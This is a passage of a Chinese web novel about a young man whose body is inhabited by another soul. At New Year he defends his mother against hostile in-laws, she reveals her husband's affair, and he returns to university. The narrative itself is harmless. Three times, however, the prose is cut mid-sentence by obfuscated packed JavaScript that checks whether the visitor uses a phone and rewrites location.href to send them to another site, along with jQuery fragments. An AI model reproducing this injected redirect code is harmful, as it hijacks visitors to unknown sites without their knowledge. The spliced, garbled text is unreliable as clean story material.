她声音偏向尖利,带着股严肃味:“不让放,收着吧。狗还在院子里跑,别把狗吓到了。” 这话着实不太好听。 季恒拧了眉:他妈跟奶奶关系一向不冷不淡的,有点塑料亲戚内味,也就逢年过节走走,但也不至于这么说话吧? 夏杨也皱了眉,只不过很快舒展开,面上没表现出来。 鲁向萍像是没觉察到:“放了也管不着啥,过年不放鞭炮哪来的喜气啊,婶子,你帮我找爸要个打火机来。” 说着,手上已经开始拆鞭炮了。 夏杨看着老太太又要说话,上前一步主动挽住了老人家的手,“奶奶,我来给你拜年了,祝你新年身体健健康康的,你吃早餐了没?” 边说着,就边把人往屋里扶着走了。 老太太见了他,神色倒是柔和许多,就是嘴巴还是不饶人:“这个点早吃了,农村人又不像你们城里的,吃东西没个定数,我们干啥都早得很。瞧着又长高了,大学念得怎么样?” 夏杨嘴上应着哄着,把人扶进客厅找了把带垫子的扶手椅坐下。 客厅空荡荡的,有个小孩子坐在矮凳上玩手机,还有个头发稀疏的老爷爷坐在沙发上看电视。 外面动静不算小,但他跟什么都没听到一样,眼珠定着,动都不带动的。 桌上摆了瓜子水果和装了茶水的热水壶,还有些小孩子爱吃的零食。 婶子拿了搁在桌上的打火机出去,外面噼里啪啦响起了鞭炮声。 很响。 但不热闹。 鲁向萍等鞭炮放完了才进门来,桌上倒了迎客的热茶——原本只有一个人的,是夏杨另外倒了一杯。 她表情不太好看,忍着气在强颜欢笑,说了几句吉祥话,老两口都没接话,还是来串门的邻居婶子把话头续了下去。 没过一会,邻居婶子回家了,只有夏杨一家先来的爷爷奶奶家,偌大的堂屋变得格外空荡冷清,只有电视机在响。 外面时不时传来远远的鞭炮声和汽车驶过的声音。 就算要应对这副尴尬难堪场景的不是季恒,他也快窒息了。 印象里跟爷爷奶奶家都没什么来往,也没机会闹矛盾吧,所以这是在干什么?抽风了?发精神病了?在这大过年的故意膈应他们。 要不就走呗,大不了这个年不拜了。 季恒幻想着自己的挺身而出,虽然他知道真面对时他会出于种种顾虑选择按兵不动,最后变成不前进就等于后退勇敢只存在于心里、没有在现实做出任何维护的局面。 可在这件事上,夏杨也没比他好到哪里去。 8. 第八章 小孩子是季恒大伯的女儿。 还是读小学的年纪,身上衣服很新,印着没见过的动漫动物角色,颜色很鲜艳,衬得皮肤黄黄的。 脸上架着一副眼镜,看镜片厚度,度数不低。 玩手机没开扬声器,也没发出吵闹的声音,从屏幕上能看到是在打游戏。 他应该叫表妹。 季恒想了下,想不起来这个表妹叫什么名字。 他不怎么跟小孩说话,对方也不是个能缠着人撒娇的——现在小孩子似乎越来越早熟了。 好像老妈以前有提过。 想起来了。 大伯和大伯母到外地工作,给儿子找到了外地的好学校花了不少钱让人入学了。 女儿这边就顾不上了,没精力照顾,也觉得小学没必要转来转去,在家读完就好,就托付了大伯母的父母帮忙照顾。 大伯母的父母住在儿子家,有儿子的孩子要照顾,接着小表妹过去住了一段时间后说是照顾不来,最后送到奶奶家了。 学校也从城里转到村里了。 老妈跟他提这件事,好像是八卦大伯有没有给奶奶钱来着。 他是觉得给了的,不然两个老人家自己在乡下过得好好的,要带孙女也挺费精力的。 他老妈觉得没给,因为大伯是家里最出息的人。 俗话说大儿子小孙子,老太太的命根子,从小到大大伯就是爷爷奶奶宠大的,就算过年回不来也只心疼他要在外地过年了。 能帮他带孩子那是求之不得,那还用得着给钱。 也就是他大伯重男轻女,要是爷爷奶奶能常看见的是宝贝孙子,就更开心了。 季恒听过就忘,毕竟爷爷奶奶对他虽说还行,但感情深浅摆在那里,总有点不尴不尬的。 他也不太能想象出来老妈话里爷爷奶奶对大伯的样子,可能是他从来没关注过这些吧。 这下顺着身体的视线打量过闷不吭声的小表妹,再到大过年板着张臭脸的爷爷奶奶,最后是也在摆弄手机的老妈,季恒对这些亲戚关系略咂摸出些味道了。 但他还是想不到理由。 他老妈为人绝对没问题,爷爷奶奶虽然不了解,但老人家不都是讲究过年喜庆吗,有什么气非得在这个时候摆脸色? 干坐了一个多小时,夏杨都对着离线视频看完三节课了,一辆汽车从水泥路开进了院子里,把那条在院子里玩耍的狗吓得汪汪大叫。 “旺财!”奶奶站起身来,先高声喝道,“别叫了,进来!” 旺财呜了两声,跑到堂屋里,绕着奶奶的腿打转。 奶奶轻踢了它一脚,转头对爷爷说:“这狗东西爱乱叫乱跑,别吓到文文了,你给它关后面院子里去。” 爷爷起身,嘴里嘘声,把狗赶到后头去了。 奶奶朝外走去,拍了拍夏杨的肩膀,脸上笑呵呵的,看上去别提多慈祥了:“小恒,肯定是你大伯和文文表弟来了,你也出去迎迎。” 季恒想发火了,尤其是看到老妈在旁边点着手机的手都僵住了、眼神朝窗外飞去、脸上又挂起笑容的样子。 要是夏杨带着他的身体“投敌”,做出让老妈伤心的事…… 夏杨往外面看了眼,温声道:“他们肯定更想看见奶奶,怎么这会还没进来,奶奶你快去看看吧?” 话音未落,外面已传来中年男人中气十足的响亮声音。 “爸,妈,你们咋还没出来呢,看我今年又给你们带什么好东西回来了!这脐橙可是我特意批的好货,又甜又水汪,你们这年纪就该多吃点橙子补充点维生素!” “怎么拿这么多东西来,这搬来搬去的没累着吧?文文呢?” “他跟同学约了要去不冷的地方旅游,寒假就这么长,中间回来过年就玩不成了,就没回来了。 “他好着呢,成绩都进年级前五十了,老师说他是个读书的料,也不亏我花那么多钱把他送进去了。就盼着以后读出个样子来好好孝顺我,孝顺你们!” 奶奶声音都带着笑:“那是那是,你这么有出息,脑子活,他也差不到哪里去的,以前就是不爱读书,环境不好,这一去大城市就学好了。他出去玩你们钱给没给够啊?别让他在外头玩得不开心了,在同学面前丢面子了。” 中年女人的声音:“妈你放心,他期末考得好,不止奖励了他一台电脑,还封了个大红包,零花钱压岁钱都一块给了,够他用了,不够会给我们打电话说的。” 从后院返回的爷爷也接上话:“年轻人还是要多出去看看,涨点经验,这样以后有事也拿的定主意。” “可不是嘛,这些东西你们别拿,我们来提就行,都重得很。提这个吧,银耳燕窝,看着最轻,这一箱顶得上后备箱一堆脐橙了,就看能给你们滋养身体才特意买的。” 中年男人声音有点诧异:“弟妹呢?她不是要赶车来,一向来得最早吗?怎么今天没看见人,还没到?” “早来了,她那屁股金贵得很,听见你们来了一动都不带动的。” 一行人的说话声随着脚步声走进家里来。 季恒看见了熟悉中带着点陌生感的大伯——从小到大就算每年见一次也见了十多二十年了,长什么样还是心里有数的——个子依旧挺高,脸圆了不少,头发染得乌黑油亮的,眼角皱纹明显变多了,整个人有种壮年尽头的暮气。 看过来的眼神似乎是客气的热络。 爷爷奶奶跟在他旁边,倒是把后面略显瘦小的大伯母挡得快看不见了。 手上东西放在堂屋桌子旁边的地上后,大伯母又返回了外头。 大伯扬声:“采薇,车上其他东西不急着搬,先把炮仗放了。我专门买的最大挂,多喜庆啊!” 大伯母应了声,没过一会,外头先是响起拆开鞭炮滚在地上的声音,再是噼里啪啦的响声。 大伯母捂着耳朵快步跑了进来,把打火机揣进口袋里,桌上已倒好热茶。 “采薇,坐这儿,”奶奶招呼道,“开了烤火的,桌子底下暖和。” 大伯母说话细声细气的:“爸妈你们也来烤火,今年冬天温度挺低的,你们身体没什么不舒服吧?” “没有,好得很,你爸他入冬时降温有点小感冒,叫他加衣服不当回事,吃了点感冒药也就好了,你们呢,都还健康吧?” “也没什么事,就在外地有点水土不服,住了阵就适应了,文文他适应得更好呢。小静还是这么爱玩手机,爸爸妈妈来了都不知道叫人?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399668|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小表妹被奶奶瞪了眼,收起手机,走过来乖乖叫了“爸爸妈妈”。 大伯眼神有点冷淡,像是想说什么又忍着没说,转头去跟爷爷聊天了。 大伯母把她揽到身边,加了根凳子,询问她转学后还适不适应,母女俩气氛略显生疏地聊了起来。 从他们进来后,这块区域就像被分成了两份。 一边是和和乐乐的一家人,一边是不必在意不受欢迎的客人。 季恒从来没这么清晰感觉到过差距。 他心中甚至对老妈都生起了点怨气:年年都说不想过年不想拜年,自己家过过就得了。这种亲戚关系维持下来有什么用,随便找个借口就能敷衍过去,就算背后被说不孝也少不了肉,但老妈就是年年要拜年,真是自讨苦吃。 要是今天待在家里,哪还有这些事。 就算夏杨上课做视频写文章很枯燥,也好过大老远挤车跑过来受气好。 夏杨倒是出乎意料的平静,并未对这种差别待遇说什么——大概是对他来说这些都是陌生人吧,所以也不会觉得屈辱,可以静待事态发展。 没过一会,两个话题的聊天声同时宣告结束,形成一种真空般奇异的令人窒息的寂静。 季恒看到奶奶给大伯使了个眼色。 他如同有所预感般屏息凝神。 “咳咳。” 大伯清了清嗓子,脸上松垮肥润的肉也跟着抖了抖,他做出一副郑重其事的样子: “弟妹啊,不是大哥说你,季卓不在家,你就得替他向爸妈尽双倍的孝心,怎么还冲爸妈使上脾气了? “要不是你,爸妈也不至于过年都见不着小儿子啊。快来跟爸妈道个歉,我做主,这事就先放着。大过年的,别弄这些事情,有什么年后再说。” 鲁向萍脸唰地红了。 她常年劳作,皮肤不算白,现在却红得像在上面抹了一层血,因为竭力克制后仍然扭曲难看的表情,有些难以分清是愤怒还是羞恼。 “……我、我,”她声音发颤,扭头看了季恒一眼,眼睛里盛满了难堪,“……是我……” 一道身影走到了她前面,挡住了两位老人冷漠的视线,也挡住了看似说和实则单方面欺压还满口说教的大伯。 季恒就没听自己声音这么无辜过,不解的意味都快溢出来了。 “为什么我妈要道歉?她做错什么事情了吗?” 没人想过他会站出来。 在场的人里,他似乎被默认是季家阵营的,他也没得到他妈一样的待遇。 但当他站出来时,那种年轻人高大的体魄便天然带来了威慑感。 夏杨依旧很是不解: “先不说是爷爷奶奶莫名其妙对着我妈发脾气,就说我爸只是过年回不来,就需要我妈替他尽双倍孝心? “爷爷奶奶亲生的难道是我妈吗?你可以让他自己回来孝顺爷爷奶奶,而不是让我妈在这里受气。 “还是你们觉得,欺负她,我这个当儿子的不会管?” 他甚至微微笑了一下。 “你们可以继续,冷嘲热讽也好,拉偏架也好,想动手也好,我不怕闹到派出所去,你们应该也没人能打得过我。” “要试试吗?” 9. 第九章 冬日里的风冷得像揣了千百把刀片,把没被衣服遮挡的皮肤刮到麻木。 夏杨手中原模原样的提着鲁向萍从路口商店买的礼品,一盒中老年人奶粉,一袋零食大礼包。 除了鞭炮外还有一箱梨子和一箱砂糖柑,正在前头的鲁向萍手里提着。 她总是习惯自己承担重物,把轻的给孩子。 这回出来走得急,夏杨也没找到机会跟她换一下。 村里的水泥马路和外面的不一样,是纯灰色的,每段之间能看到横着一条的黑色柏油,水泥上压出的道道凹痕已被往来车辆磨平了些,如果一直盯着,走起来会有点晕眩感。 夏杨在看马路上那双走的过快近乎跑步而发出噔噔声响的皮靴。 鲁向萍今天穿了新鞋子,一双黑色皮靴,带着不粗不细的中跟,并不适合快速走路。 奶奶家已经被远远抛在了身后,遥望都看不见房顶,遮挡在田埂和其他人家的房屋后。 他说完那些话时,见大伯又惊又气,爷爷奶奶和大伯母也都一下站起来,是真在剑拔弩张的氛围里做好了动手的打算。 但没想到鲁向萍一把把他拉开,恨声对着大伯说: “我儿子说得好,凭什么要我道歉,我这些年没做一件亏心事,你们让季卓过来跪着给我道歉还差不多,让大家看看不要脸的是谁,又是哪些不要脸的公公婆婆只知道冲着儿媳妇撒气。 “爸、妈,我自认没什么对不起你们的。你们不爱看见我,行,逢年过节走走呗,哪回过年来了不是我忙前忙后整一桌子菜?妈去年身体不舒服到市立医院检查要做个小手术你们都没空,是不是我全程陪着照顾着,钱我也出了,你们给过我一句好话吗? “季卓不回来你们就逼我,怎么着,是我打断他的腿让他回不来了?是我让他找借口留在那边过好日子了?你们在这心疼儿子心疼弟弟不能一家团圆,人家在外头好着呢,也没见真念着你们! “不稀罕我来我也不会死皮赖脸待着,小恒,咱们回去!” 说着,鲁向萍提起自己买来的礼品,往夏杨手里塞了两袋,自己拎了剩下的,气势汹汹就往外走。 屋里几个人都傻了,大伯母犹豫着追了两步,大伯父愤怒的声音响起:“别管她,真是反了天了!” 鲁向萍当时还在院子里,很大声地“呸”了声,响亮到左邻右舍全能听见,扬声道: “反你爹的天,放你娘的狗屁,在外面当个小领导人五人六的,还真把自己当皇帝了!也不撒泡尿照照镜子看看你配不配!” “你、鲁向萍……!” 后面那些话就听不清了,总归是气得不轻,也没有人追出来,一路顺利走到了马路上又沿着走了好一段。 季恒有点呆。 他很少见到他妈这一面。 有当然是有的,他爸常年不在家,他妈一个人含辛茹苦把他拉扯大,性格再不凶悍点,生活里方方面面就容易受欺负了。 但在他爸这边的亲戚这里时,他妈态度总是过于友好了。 他以往没太关注,只是单纯不喜欢走亲戚,也不觉得他老妈帮忙做菜有什么奇怪,毕竟他妈人好厨艺好,省得老人家在厨房里忙碌了。 现在看来,也不是这么回事。 以前平静的生活都是一张假面吗?一旦撕开,底下全是腐烂流脓生蛆的伤口? 季恒不免有些迷茫,但也为老妈感到开心。 不管造成这些事的背后原因是什么,至少老妈现在不忍了,站出来反抗了,把他大伯骂得狗血淋头了。 ……可这样的行动,是夏杨带来的连锁反应。 如果夏杨不站出来旗帜鲜明的维护他老妈,老妈多半还会和以前一样。 因为没有人和她一边,也没有人为她撕破脸,让她想再粉饰太平都做不到——她不能辜负爱自己的人,让爱自己的人伤心。 假若这里的是他呢? 季恒越想,越觉得冬天的寒意从皮肤丝丝缕缕渗进了灵魂,冷得他遍体生寒,牙齿打颤,手脚像几团亘古不变的坚冰。 他基本没和人吵过架。他不太会说话。他迟钝麻木于浮于表面的虚假家庭氛围,无法意识到问题的严重性。爷爷奶奶对他一向不错,大伯性格令人喜欢不起来但也是亲戚长辈,这里是他二十年来的长辈的家,他妈本该与这里是一体的。 他会站出来,但他大概不会很坚定。 因为他不知道出了什么问题,怎么发展成这样,又会疑虑着无法撕破脸,更因性格问题无法采取激烈鲜明的举动来维护他妈。 那会是什么样子? 一个年龄已经可以说是男人的人,带着一个怯懦的灵魂,犹犹豫豫地站起来,像他大伯那种恶心的人一样和稀泥,只不过有在袒护些他妈。 世界上还会有这更令他妈绝望的画面吗? 一个花费诸多心血的、令人失望的儿子。 世界上还会有这更令他自己绝望的画面吗? 简直是赤-裸裸地把他不堪的一切都剖析给他看,把他的脸按进淤泥里,让他承认他就是这样一个懦弱不堪的小人。 不坚定本身就是一种伤害。 如果是他,他会在自己和老妈的心里都留下无法愈合的伤口,后续发展必然也是沉闷的和解,把伤口继续掩盖起来无声腐烂的。 在“当鲁向萍的儿子”这件事上,夏杨赢过了有二十年经验的他。 季恒甚至感觉,是夏杨在顶着他的身体面对这件事,真是太好了。 只有外面的大马路才有往来城市与乡间的汽车经过,像这种底下的村里,离大马路距离很远,都是乘路口载客的摩托车进来,打电话约好摩托车过来接再出去。 当然,自己家有车的就方便很多了,季恒和鲁向萍往年也会蹭大伯或者姑姑家的车回去。 光靠一双腿,大概得走上半个小时吧。 他们现在已经走到村里聚居人家的范围之外了。 被开采过的山和树林把马路夹在中间,半干的小池塘泥土皲裂,旁边是山石崎岖的山洞,一个小小的黝黑的洞口。 季恒小时候曾听说过有人到这山洞里玩,撞到了脑袋,淌了一地血。 简单又富有画面感的文字在他小小的脑海里融合上了大人们方向越跑越偏的揣测,还有那些翻看过的鬼故事,变得光怪陆离。 使他不止一次梦到过自己到这个漆黑潮湿的山洞里探险途中遭遇不测,愈发幻想里面藏着一切可能藏进去的东西。 随着年岁渐大,它逐渐变得普通,却因为他未曾真切地去看过,依旧带有一缕不知其真实的神秘色彩。 似乎,它本来就该是藏有秘密的。 也该是储藏下他们家这个秘密的。 这里一眼就能看到,前后既没有人,也没有车。 鲁向萍脚步缓了些,等夏杨走到她旁边,“冷吗?” “不冷。”夏杨说,“你呢?冷不冷,脚痛不痛?” 鲁向萍沉默。 夏杨担心的绕到她前头,却看见无法用被占住的手捂住脸遮挡住的表情。 一种极为复杂的,自我谴责、怨恨、感动、伤怀并存的表情。 “没事。”鲁向萍声音有点沙哑,“等下从前面小路走出去,也能到大路口。” “山路吗?” “……嗯。” “冬天走小路不安全,你这种鞋子就更不适合了。” 鲁向萍没好气道:“你姑姑一向来得最晚,年年在路上堵住,这个点也差不多到了,等会走马路上被她碰见,又是一番掰扯,没得烦心的。” “真遇到了就我来说,也没必要掰扯。做错事的不是我们,我们不需要躲。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399669|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我确实做错了。”鲁向萍咬牙恨道,“但我没打算改。” 夏杨放下礼品,从口袋拿出一袋小包纸巾,拆出一张给鲁向萍,看着鲁向萍自己擦了擦不自觉流下的眼泪和擤了把鼻涕。 “是跟我爸有关吗?” 鲁向萍也放下了礼品,左手握着右手掌心的红色勒痕,过了一会,才下定决心般说道: “你还记得你初二那年,我有个好朋友在外地需要我过去帮忙,留你自己在家过了个把月,平时里就托邻居帮忙看着点你吗?” 她没给夏杨接话的机会,接着道: “我当时不是去找我朋友,是去找你爸了。他在外面养了个小的,怀孕了,想跟我离婚,不然孩子没法上户口。” 她语气很平静。 “我顺着他的地址找过去,跟他打了一架。他跟这女的在一起几年了。你出生后他就说家里这边工资不高活也不好找,为了给我们更好的生活,去外地打工,结果这才几年,就变了心。 “打得很厉害,差点给他砍上两刀。 “派出所调解后,他怕了我,不敢提离婚,又还有你在这,就每年回来一趟,给你封个红包。你是不是还觉得你爸挺好的,红包封挺大,都是两三千。 “他今年不回来了,你爷爷奶奶可不就怪我了,反正他们一直都因为这件事对我怨气很大,觉得我不懂事,害得他们至今都没能抱一下那个孙子。” 她自嘲地笑了笑,眼中露出一种近乎怀念的神情。 “……是我的错,我不想让你知道这些丑事,也不想让你觉得自己是没有爸爸的孩子。做错事的是他,我凭什么跟他离婚让他和小三和和乐乐一家子,我死也要霸在这个位置上,所以你一直都不知道。” 夏杨难得如此安静,有点不知道该说什么的无措,只能又给泪流满面的鲁向萍递上一张纸。 鲁向萍抓着那张纸,没擦脸,仿佛感到剧痛般慢慢蹲了下去,身体缩在一起,像一只佝偻蜷曲的虾。 她把脸埋在膝盖上,全然不顾简单化的妆会蹭花。 此时已看不见表情,但愈发崩溃的哭声里,先前的平静瓦解殆尽。 “……是我的错,是我的错。” 她哭得几乎喘不上气,把纸捏成团的手向前伸了伸。 夏杨静默地蹲在她身前,迟疑片刻,还是没有抱住鲁向萍拍打她的脊背安慰她,将手递到鲁向萍手前,被重重的抓住了手腕。 疼痛的,要让骨头裂开般的,近乎绝望的力度。 “是我的错……” 鲁向萍已泣不成声,哽咽地连话语都快分辨不清。 “季恒、季恒……” 她在叫她的儿子。 叫她那个死去的儿子。 夏杨眼眸颤动。 良久,他轻轻环住鲁向萍的肩膀。 “妈,我在。” 而他的身体里,与人世隔绝的、似乎已接受现状的幽灵,也已泪流满面,痛不欲生。 “妈!”季恒几乎快喘不过气来,从这份母子连心般的强烈悲伤与疼痛中,察觉到某种令他最为恐惧的事实,使他久未出声的喉咙挤出撕心裂肺的吼声:“我在的,我还在的!” 只是。 依旧无人听见。 夏杨觉出一点与风不同的寒意。 他抬眸。 视野里,灰扑扑的天空下飘起了细细的雨。 他已习惯压制过于激烈的情绪,形成了身体的本能。 在察觉到鲁向萍极度悲伤的情绪即将感染到他时,对这位母亲,这位他视为母亲的人,最先升起的是抽离与防备之心。 但,他已不只是夏杨,还是季恒。 也不再是那个喜怒哀乐不能随心的心脏病人。 小小的雨点接二连三打在脸上,融入安静滚出的泪水,一并向下流去。 10. 第十章 少了父亲这边要走的亲戚后,每年拜年的固定行程,一下就空出了好几天来。 往常是先去奶奶家,再去外婆家,然后是大伯家,再是大伯和小姑来自己家,再去小姑家,之后就是其他的一些季恒都说不出名字每年全靠老妈介绍才知道怎么叫人的长辈家。 算上今天,可以说是突然放了四天假。 还好,那场雨不大,又很快搭上了顺风车,得以顺利返回家中。 洗了热水澡吹干头发换了舒适干爽的衣服,再一人喝碗姜汤,有可能到来的感冒就被赶走了。 夏杨很少用手机。 除了最开始试探摸索季恒原本社交圈那会,他用手机要么是查资料,要么是必要的联系,除此之外,他有意在保持季恒原本留下的痕迹。 因此,在交了单子拿到报酬加上鲁向萍给的压岁钱足够后,下午,夏杨就揣着这些钱到过年还开业着的手机店买了个配置中等偏低的新手机。 不贵,不到一千四。 他也办了张新的电话卡,对着套餐纠结了一会,选了包含通话时间和一定流量的。 拿着新手机和电话卡回来后,夏杨并没有把旧手机的账号进行更改转移,而是用着自己的新号码创建了全新的账号,所有用得上的软件都是这样。 再把一部分必须保持联系的人——例如鲁向萍,班主任,辅导老师,班长等——保存了相应号码,旧账号通知自己更换了账号,新账号同时进行了添加。 这些事处理完后,夏杨把旧手机关机,放进他买的新手机的手机盒,收进柜子里,遗物般封存起来。 季恒眼看着他连自己聊天频率比较高的朋友都一个没加,像是要彻底把夏杨和他的社交圈分开,却也没什么感叹的心情。 鲁向萍蹲在马路边上痛哭一场,回来后似乎有些疲惫,吃完午饭就去睡觉了,直到现在也没出来。 ——那是为了他哭的。 就是不知道他老妈了解到了什么程度,是觉得他死了,还是觉得他有双重人格,还是认为他被鬼附身了? 以往他有一点小事,老妈都清楚的不得了。 像是他明明在生气还嘴硬说没有被看得透透的这种事情都不用多说了。 结果却在他性情大变时如此缄默,应该是一直在暗中确认吧。 可确认到最后,还是接受了事实。 不然还能怎么办呢? 跟“他”大吵一架,问出到底是出了什么事,结果有可能是让还活动着的身体死亡,或者这个陌生的儿子撕破脸皮彻底生疏远离? 哪个对鲁向萍来说都太残酷了。 尤其是得知她和父亲之间的事之后。 季恒原本以为他会很怨恨的,连他妈都这么掩耳盗铃,而不是坚定的选择他。 可他现在居然挺能理解的。 比起让他妈失去相依为命长大的儿子,得过且过并不是什么罪过。 将近晚上,鲁向萍从房间里出来了,眼圈红红的,整个人看着不像睡过一觉,很没精神。 夏杨已经准备好了晚餐,吃晚饭时,鲁向萍收到了季卓那边家族群里微信的消息。 显然这家人就没受过这个气,一天都没过好,怨气冲天的。 语音都是一条说到时间上限,有的讨伐有的劝导有的摆事实讲道理,还有的要把季卓拉出来说话,让他好好管管他媳妇。 情况那叫一个群魔乱舞。 鲁向萍本来挺萎靡,夏杨也不想叫她继续接触这些不开心的事,没想到鲁向萍被这种围攻场面整得斗志昂扬,拿着手机开始舌战群儒。 骂爽了也不多纠缠,直接退群拉黑,想必能气得这些人一整个年都过不好。 这么折腾了一通,有了事干,看上去倒是好多了,恢复了平常的样子。 夏杨注意到,桌上某些季恒喜欢的固定菜式减少了些,更多的是他之前没在家里吃过的菜。 有些事,在潜移默化中静静发生着改变。 后面拜年的行程就正常起来了。 出门做客时,夏杨也没多表现什么。 季恒本以为他会是那种善于打交道引得长辈喜爱夸赞、孩子围着他转的类型,但出乎意料的是,在交际上,夏杨并不算十分热衷。 如果有人把话题甩给他,或者需要他做某些事,他会做得很好,哪怕不懂也不露怯。 但如果无人关注他,大人之间都在打牌搓麻将,小孩子则聚在一堆打游戏,那他也不会刻意去融入哪一方。 季恒还挺讨厌他妈拜年是跟人坐一桌打牌的。 因为这样的话,原本上门送个礼品说几句吉祥话交换红包的事,就会变成留下吃午饭甚至留下吃晚饭,然后晚上又没地方睡也没有车,还得让亲戚开车送回去。 属实是他无法理解的。 明明大家之间那么生疏,一年才走一趟,见了面寒暄的都是几年前的老话题,再要不就是亲戚之间某家闹出来的八卦,结果一坐上牌桌就变得其乐融融,熟悉程度翻了好几倍一样。 他小时候还能跟小伙伴凑一起玩——不需要多熟悉,是同龄就行了,待在一起拼七巧板都有意思。 长大后就不行了,越同龄越尴尬,尤其是被长辈们以年龄相近有共同话题为由硬推到一起的。 长辈通常还会给个“命题”。 比如“你前阵子在家不是画那个动漫小人,正好你哥也喜欢,一起聊聊呗”。 再比如“你今年不是开始读大学了嘛,快向你哥取取经,少走点弯路”。 通常双方都不愿意就着这些命题展开对话,顺着说上两句就会整个尬住。有时候还会发生些现充对死宅致命打击、妹妹学习生活目标规划甩开颓废脆皮大学生哥哥十万八千里等惨剧。 所以季恒都是能跑,必然要劝他妈赶紧跑路的。 他又不能自己提前走,这样未免太不像话了。 但看着夏杨在这种时候也能找个安静地方蹭个亲戚家的wifi继续自己的每日任务,一点局促感都没有,反而得到了不少长辈真心的夸赞,季恒已经不想说他的羡慕了。 都是做自己,差别在哪。 心态?目标?毅力? 好像都有。 年就这么平静的过完了。 因为少了一些来家里拜年的亲戚,事先备好的菜多出不少。 鲁向萍还特意约了几个朋友拖家带口的过来,大家一起搓火锅,加上满桌子的炒菜,给消耗得差不多了。 夏杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399670|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在待人接物方面就不用多说了。 至少比季恒那种木讷地认不清人、不尴不尬倒上茶后就躲回房间里让客人自己招待自己不知道高了几个台阶。 让鲁向萍不必边做饭边出来招待人,还能帮鲁向萍炒菜,让鲁向萍松口气。 不论是这些朋友看出了变化,还是看出了鲁向萍隐约骄傲炫耀的态度,对夏杨那都是一个赞不绝口。 这个年对鲁向萍来说大概是过得挺舒心的。 开学前,夏杨收拾到学校的行李时,鲁向萍把买衣服鞋子的钱给他,比原本的翻出好几倍,另外就是生活费。车票已经提前买好了。 他们家里是不兴买什么名牌的,比起品牌溢价和穿出去有面子,鲁向萍一向是实惠实用派的拥簇。 这次却是叫夏杨自己规划,先前买新手机把身上钱都快花没了,之后用钱悠着点,却也没叮嘱太多。 显然,过年期间夏杨的表现,让鲁向萍相信他有管理自己的能力,也就用不着像对小孩那样样样安排好,态度更像是对平等地位的大人。 夏杨接了钱,道了谢。 鲁向萍却没向以前对季恒那样说“你跟我瞎客气什么,谢谢是跟外人说的”,只令起了一个话题,带了过去。 两人间有种奇异的生疏和距离感。 即使这种感觉并不影响鲁向萍把夏杨当成儿子疼爱,也不影响夏杨把鲁向萍当成母亲关心备至。 可和季恒跟鲁向萍相处是截然不同的。 要夏杨像季恒那样习以为常地朝鲁向萍使点小脾气闹点小矛盾撒娇卖痴,大概再相处二十年都不太可能了。 次日,夏杨带着他收拾出来那些还勉强能看的衣服和其他一些生活用品,带上笔记本电脑,早起乘车,顺利返回了学校。 宿舍条件还不错,学校前几年新建的楼,上床下桌四人寝。 他到的时候,已经有两个本地室友提前抵达了,正铺床搞卫生呢,看到他,都愣了下。 “季恒?” 夏杨把行李箱提进去,“新年好。” “我靠,”一个室友惊讶道,“你这是回去参加变形计了?怎么潮了那么多?” 与其说潮,不如说是服装有搭配了。 衣服本身挺普通,可人个子高有精神爱干净再加上有点搭配,效果就一下不一样了。 尤其是以前的季恒都是随便一套干净舒服别太难看就行,走出去就能淹没在人潮里,这下对比就更强烈了。 夏杨笑了笑,“稍微学了点,效果不错吧?” “教教哥们,”室友从桌子上一番扒拉,捧着一袋别的地方的特产双手奉上,“以后找女朋友就靠你了!” 夏杨念了两本男装杂志的名字——他确实看过——又说了自己寒假在家的作息,刚说到“早上六点半起床”,“哥们”就打了个寒噤抛弃了他,倒是把特产留给他了。 连母亲都不会质疑他性格变化的事,算不上多熟的室友就更想不到这里去了。 顶多以为他回去过年受了什么家事刺激,下定决心要奋发图强,成功进化成自律人士。 也有室友的确想支棱一下,跟着夏杨早起两天就没了下文。 夏杨依旧维持着自己的步调生活着。 11. 第十一章 “寒假怎么一直联系不上你?回家几天就失联了,你家今年过年这么忙啊。” 正式开始上课没两天,夏杨就在去学校食堂的路上被人突然扑过来从后面搭住了肩膀。 他转头,看见一张陌生的脸。 从语气上来听,应该是季恒的朋友,再回想一下社交软件上的信息,大概就能确定是哪一位了。 “先前成绩没考好,想着不能再荒废下去了,一直在家补课。” 朋友诧异,用胳膊怼着晃了两下夏杨:“你发烧了?” 夏杨微笑不语。 “……你笑得我浑身起鸡皮疙瘩,不是,你先前不是说这个专业努力也没前途,还不如等着毕业去随便找个班上吗?怎么突然又变了想法了?” 夏杨继续迈步往食堂里走,边走边说: “因为我意识到,这样下去毕业后想随便找个班上也做不到。除了进厂做流水线工人和看门保安送外卖之类没门槛的工作,可以选择的余地不多。在这个前提下,没办法再把这几年浪费掉吧。” 